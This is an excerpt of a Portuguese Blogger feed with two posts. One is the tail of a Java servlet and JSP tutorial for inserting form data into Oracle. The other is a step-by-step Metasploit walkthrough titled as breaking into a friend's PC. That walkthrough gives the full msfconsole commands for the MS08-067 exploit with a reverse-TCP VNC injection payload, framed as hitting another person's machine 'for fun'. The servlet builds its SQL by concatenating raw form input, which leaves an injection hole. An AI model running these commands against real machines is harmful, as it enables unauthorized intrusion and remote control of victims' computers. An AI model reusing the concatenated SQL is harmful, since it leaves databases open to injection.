&amp;nbsp;&amp;nbsp;&amp;nbsp; public void setCodigo(int Codigo) { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.Codigo = Codigo; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; public String getNome() { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return Nome; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; public void setNome(String Nome) { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.Nome = Nome; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bom, o que foi feito até agora ? &lt;br /&gt;
&lt;br /&gt;
Criamos a classe de conexão. &lt;br /&gt;
Criamos o Script SQL para a tabela no oracle, não se esqueça de observar o usuário. &lt;br /&gt;
&lt;br /&gt;
Agora vamos criar um classe que recebera os valores do formulário html :D &lt;br /&gt;
&lt;br /&gt;
// Essa classe está dentro do Pacote PkObter. &lt;br /&gt;
&lt;br /&gt;
package PkObter; &lt;br /&gt;
//Bibliotecas necessarias para a classe. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; import PkCadastro.Cadastro; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; import PkConexao.cadConectar; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; import java.io.IOException; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; import java.sql.Connection; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; import java.sql.SQLException; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; import java.util.logging.Level; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; import java.util.logging.Logger; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; import javax.servlet.ServletException; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; import javax.servlet.annotation.WebServlet; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; import javax.servlet.http.HttpServletRequest; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; import javax.servlet.http.HttpServletResponse; &lt;br /&gt;
&lt;br /&gt;
// Nome do servlet isso será usando no formulário html &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; @WebServlet(name=&quot;obterCadastro&quot;, urlPatterns=&quot;/obterCadastro&quot;) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; public class obterCadastro extends javax.servlet.http.HttpServlet implements javax.servlet.Servlet { &lt;br /&gt;
&lt;br /&gt;
//instancia da classe Cadastro, onde está os métodos de get e set. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Cadastro cadastro = new Cadastro(); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; int codigo; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; String nome; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private static final long serialVersionUID = 1L; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; @Override &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void init() { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; @Override &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; codigo = Integer.parseInt(request.getParameter(&quot;codigo&quot;)); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; nome = request.getParameter(&quot;nome&quot;); &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Aplica valores na instancia cadastro de Cadastro &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cadastro.setCodigo(codigo); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cadastro.setNome(nome); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try { &lt;br /&gt;
//observe aqui que criamos uma variável no tipo Connection&amp;nbsp; e recebe o método getConectar que está na classe cadConectar explica la em cima. &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connection con = cadConectar.getConectar(); &lt;br /&gt;
// Aqui criamos uma variavel no tipo PreparedStatement, que gravado o SQL que está a frente, a variável cnx, seria a ligação entre o SQL e o stmt. &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; java.sql.PreparedStatement stmt = con.prepareStatement(&quot;insert into tblcadastro(codigo,nome) values (&quot;+ cadastro.getCodigo() +&quot;,&#39;&quot; + cadastro.getNome() + &quot;&#39;)&quot;); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stmt.execute(); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; stmt.close(); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } catch (SQLException ex) { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Logger.getLogger(obterCadastro.class.getName()).log(Level.SEVERE, null, ex); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bom, é isso ai, simples mé, agora a parte mais moleza de todas, criar o formulario html :D &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;lt;%@page contentType=&quot;text/html&quot; pageEncoding=&quot;UTF-8&quot;%&amp;gt; &lt;br /&gt;
&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot; &lt;br /&gt;
&amp;nbsp;&amp;nbsp; &quot;http://www.w3.org/TR/html4/loose.dtd&quot;&amp;gt; &lt;br /&gt;
&amp;lt;html&amp;gt; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;head&amp;gt; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot;&amp;gt; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;title&amp;gt;Cadastro&amp;lt;/title&amp;gt; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/head&amp;gt; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;body&amp;gt; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;h1&amp;gt;Formulario de cadastro de pessoas &amp;lt;/h1&amp;gt; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;form id=&quot;obterCadastro&quot; action=&quot;obterCadastro&quot; method=&quot;post&quot;&amp;gt; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;table&amp;gt; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Código&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; id = &quot;codigo&quot; name=&quot;codigo&quot; /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Primeiro Nome&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; id = &quot;nome&quot; name=&quot;nome&quot; /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/table&amp;gt; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input type=&quot;submit&quot; id=&quot;btSalvar&quot; value=&quot;Salvar&quot; /&amp;gt; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/form&amp;gt; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/body&amp;gt; &lt;br /&gt;
&amp;lt;/html&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tranquilo né, com nem vou explica o formulário, só observe que o action dele é essa linha la em cima na classe, Obtercadastro &lt;br /&gt;
&amp;nbsp;&amp;nbsp; @WebServlet(name=&quot;obterCadastro&quot;, urlPatterns=&quot;/obterCadastro&quot;) &lt;br /&gt;
certo ? &lt;br /&gt;
&lt;br /&gt;
Bom, isso é tudo pessoal, não se esqueça se ter alguma duviva &lt;a href=&quot;http://spreadsheets.google.com/viewform?formkey=dHFLMTBzOEhYejFYOE8tQ1lLZHlxSXc6MA&quot;&gt;clique aqui&lt;/a&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/7597362239792057624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/7597362239792057624'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2010/03/inserindo-dados-no-oracle-usando-html-e.html' title='Inserindo dados no oracle usando html e java'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-6903306431357164663</id><published>2010-02-05T17:09:00.000-02:00</published><updated>2010-02-05T17:13:51.754-02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Geral"/><title type='text'>Metasploit: entrando no PC de um amigo.</title><content type='html'>Só vou falar aqui o que tem em tantos outros site e até mesmo no YouTube. Vou simular um teste de invasão ao Windows XP &lt;span class=&quot;misspell&quot; suggestions=&quot;PS,SPA,SÓ,PSP,BP&quot;&gt;SP&lt;/span&gt;2, usando o Linux, com o &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;framework&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Metasploit&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Metasploit&lt;/span&gt;: É um &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;framework&lt;/span&gt; para desenvolvimento e testes de &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Exploit&lt;/span&gt;, ele tem ferramentas para &lt;span class=&quot;misspell&quot; suggestions=&quot;colecta,colega,colete,cometa,moleta&quot;&gt;coleta&lt;/span&gt; de informações, e testes de penetração.&lt;br /&gt;&lt;br /&gt;Para quem não sabe &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;exploit&lt;/span&gt; é um programa, que se aproveita das vulnerabilidades de um sistema &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;computacional&lt;/span&gt;, como o próprio Sistema Operacional ou serviços de integração de protocolos, como FTP, HTTP e qualquer outro serviço de rede.&lt;br /&gt;&lt;br /&gt;Para fazer esse teste você precisa de ter o &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Metasploit&lt;/span&gt; instalado, se você usa Windows, segue aquele padrão &lt;span class=&quot;misspell&quot; suggestions=&quot;Nexo&quot;&gt;Next&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;Nexo&quot;&gt;Next&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Finish&lt;/span&gt;, mas se esta no Linux, Leia isso, além disso instale um Cliente &lt;span class=&quot;misspell&quot; suggestions=&quot;ANC&quot;&gt;VNC&lt;/span&gt;, recomendo o &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;vncviewer&lt;/span&gt;, depois de ter todos as ferramentas ai, vamos a pratica.&lt;br /&gt;&lt;br /&gt;A primeira coisa a fazer é ter o IP da pessoa, se a pessoa estiver na sua rede é fácil, passe um scanner e pronto, mas se estiver através da Internet vai precisar fazer melhor, mas não vou abortar essa parte, na Internet tem muita coisa falando sobre isso.&lt;br /&gt;Bom, eu só testei essa técnica com o XP &lt;span class=&quot;misspell&quot; suggestions=&quot;PS,SPA,SÓ,PSP,BP&quot;&gt;SP&lt;/span&gt;2, mas se quiserem se arriscar em outros, fiquem a vontade.&lt;br /&gt;&lt;br /&gt;Agora, a primeira coisa a fazer é abrir o &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;msfconsole&lt;/span&gt;, no Linux só digitar no terminal, &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;msfconsole&lt;/span&gt; mesmo. No Windows tem um Ícone no &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Desktop&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Entendendo como está aqui.&lt;br /&gt;&lt;br /&gt;Estou usando o Linux &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Ubuntu&lt;/span&gt;, com as ferramentas já instaladas, o meu IP é: 192.168.2.100, o IP da minha maquina alvo é: 192.168.2.101&lt;br /&gt;&lt;br /&gt;O terminal deve estar assim:&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;FSF,TSF&quot;&gt;msf&lt;/span&gt; &gt;&lt;br /&gt;&lt;br /&gt;Digitem &lt;span class=&quot;misspell&quot; suggestions=&quot;Shaw&quot;&gt;show&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;exlpoits&lt;/span&gt;, e copie esse item.&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;Windows&quot;&gt;windows&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;SME,sob&quot;&gt;smb&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;Mós,mas,mos,más,mês&quot;&gt;ms&lt;/span&gt;08_067_&lt;span class=&quot;misspell&quot; suggestions=&quot;neta pi,neta-pi&quot;&gt;netapi&lt;/span&gt;                                    &lt;span class=&quot;misspell&quot; suggestions=&quot;greta&quot;&gt;great&lt;/span&gt;      Microsoft &lt;span class=&quot;misspell&quot; suggestions=&quot;Sever,Serve,Ferver,Servem,Serves&quot;&gt;Server&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;Servisse&quot;&gt;Service&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;Relativa,Relativo,Rela tive,Rela-tive&quot;&gt;Relative&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;Pata,Pato&quot;&gt;Path&lt;/span&gt; Stack &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Corruption&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;agora digite:&lt;br /&gt;&lt;br /&gt;use &lt;span class=&quot;misspell&quot; suggestions=&quot;Windows&quot;&gt;windows&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;SME,sob&quot;&gt;smb&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;Mós,mas,mos,más,mês&quot;&gt;ms&lt;/span&gt;08_067_&lt;span class=&quot;misspell&quot; suggestions=&quot;neta pi,neta-pi&quot;&gt;netapi&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;agora digite: &lt;span class=&quot;misspell&quot; suggestions=&quot;Shaw&quot;&gt;show&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;payloads&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;Seleccione&quot;&gt;Selecione&lt;/span&gt; esse item    &lt;span class=&quot;misspell&quot; suggestions=&quot;Windows&quot;&gt;windows&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;vncinject&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;reveres,reversa,reverso,reverte,rever se&quot;&gt;reverse&lt;/span&gt;_&lt;span class=&quot;misspell&quot; suggestions=&quot;CP,TC,STCP,ACP,BCP&quot;&gt;tcp&lt;/span&gt;                    normal  &lt;span class=&quot;misspell&quot; suggestions=&quot;ANC&quot;&gt;VNC&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;Sever,Serve,Ferver,Servem,Serves&quot;&gt;Server&lt;/span&gt; (&lt;span class=&quot;misspell&quot; suggestions=&quot;Reflectivo&quot;&gt;Reflective&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Injection&lt;/span&gt;), &lt;span class=&quot;misspell&quot; suggestions=&quot;Reveres,Reversa,Reverso,Reverte,Rever se&quot;&gt;Reverse&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;CP,TC,STCP,ACP,BCP&quot;&gt;TCP&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Stager&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;feito isso aplique o comando:&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;seta,sete,ser,se,SEC&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;PAYLOAD&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;Windows&quot;&gt;windows&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;vncinject&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;reveres,reversa,reverso,reverte,rever se&quot;&gt;reverse&lt;/span&gt;_&lt;span class=&quot;misspell&quot; suggestions=&quot;CP,TC,STCP,ACP,BCP&quot;&gt;tcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;agora ficou &lt;span class=&quot;misspell&quot; suggestions=&quot;fácil,facial&quot;&gt;facil&lt;/span&gt;,&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;Shaw&quot;&gt;show&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;seta,sete,ser,se,SEC&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;RHOST&lt;/span&gt; 192.168.2.101 ( Ou o &lt;span class=&quot;misspell&quot; suggestions=&quot;IP,pi,IPC,IPE,CIP&quot;&gt;ip&lt;/span&gt; da maquina alvo)&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;seta,sete,ser,se,SEC&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;LHOS&quot;&gt;LHOST&lt;/span&gt; 192.168.2.100 ( Seu IP )&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;seta,sete,ser,se,SEC&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;TARGET&lt;/span&gt; 0 ( com isso ele não precisa especificar o &lt;span class=&quot;misspell&quot; suggestions=&quot;SÓ,OS,SOS,SOA,SOB&quot;&gt;SO&lt;/span&gt; )&lt;br /&gt;&lt;br /&gt;Basicamente ficaria assim:&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;FSF,TSF&quot;&gt;msf&lt;/span&gt; &gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;Windows&quot;&gt;windows&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;SME,sob&quot;&gt;smb&lt;/span&gt;/use &lt;span class=&quot;misspell&quot; suggestions=&quot;Windows&quot;&gt;windows&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;SME,sob&quot;&gt;smb&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;Mós,mas,mos,más,mês&quot;&gt;ms&lt;/span&gt;08_067_&lt;span class=&quot;misspell&quot; suggestions=&quot;neta pi,neta-pi&quot;&gt;netapi&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;FSF,TSF&quot;&gt;msf&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;exploit&lt;/span&gt;(&lt;span class=&quot;misspell&quot; suggestions=&quot;Mós,mas,mos,más,mês&quot;&gt;ms&lt;/span&gt;08_067_&lt;span class=&quot;misspell&quot; suggestions=&quot;neta pi,neta-pi&quot;&gt;netapi&lt;/span&gt;) &gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;seta,sete,ser,se,SEC&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;PAYLOAD&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;Windows&quot;&gt;windows&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;vncinject&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;reveres,reversa,reverso,reverte,rever se&quot;&gt;reverse&lt;/span&gt;_&lt;span class=&quot;misspell&quot; suggestions=&quot;CP,TC,STCP,ACP,BCP&quot;&gt;tcp&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;PAYLOAD&lt;/span&gt; =&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;Windows&quot;&gt;windows&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;vncinject&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;reveres,reversa,reverso,reverte,rever se&quot;&gt;reverse&lt;/span&gt;_&lt;span class=&quot;misspell&quot; suggestions=&quot;CP,TC,STCP,ACP,BCP&quot;&gt;tcp&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;FSF,TSF&quot;&gt;msf&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;exploit&lt;/span&gt;(&lt;span class=&quot;misspell&quot; suggestions=&quot;Mós,mas,mos,más,mês&quot;&gt;ms&lt;/span&gt;08_067_&lt;span class=&quot;misspell&quot; suggestions=&quot;neta pi,neta-pi&quot;&gt;netapi&lt;/span&gt;) &gt; use &lt;span class=&quot;misspell&quot; suggestions=&quot;Windows&quot;&gt;windows&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;vncinject&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;revset&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;RHOST&lt;/span&gt; 192.168.2.101&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;RHOST&lt;/span&gt; =&gt; 192.168.2.101&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;msf&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;exploit&lt;/span&gt;(&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;ms&lt;/span&gt;08_067_&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;netapi&lt;/span&gt;) &gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;LHOST&lt;/span&gt; 192.168.2.100&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;LHOST&lt;/span&gt; =&gt; 192.168.2.100&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;msf&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;exploit&lt;/span&gt;(&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;ms&lt;/span&gt;08_067_&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;netapi&lt;/span&gt;) &gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;TAGET&lt;/span&gt; 0&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;TAGET&lt;/span&gt; =&gt; 0&lt;br /&gt;&lt;br /&gt;Se fez tudo isso, digite o comando.&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;exploit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;deve demorar um porco e abrir um tela do computador da pessoa.&lt;br /&gt;Agora só diversão :p&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Ótimo&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;video&lt;/span&gt; mostrando como funciona.&lt;br /&gt;&lt;object height=&quot;344&quot; width=&quot;425&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/pRfKSZUQ1T4&amp;amp;hl=pt_BR&amp;amp;fs=1&amp;amp;&quot;&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&gt;&lt;param name=&quot;allowscriptaccess&quot; value=&quot;always&quot;&gt;&lt;embed 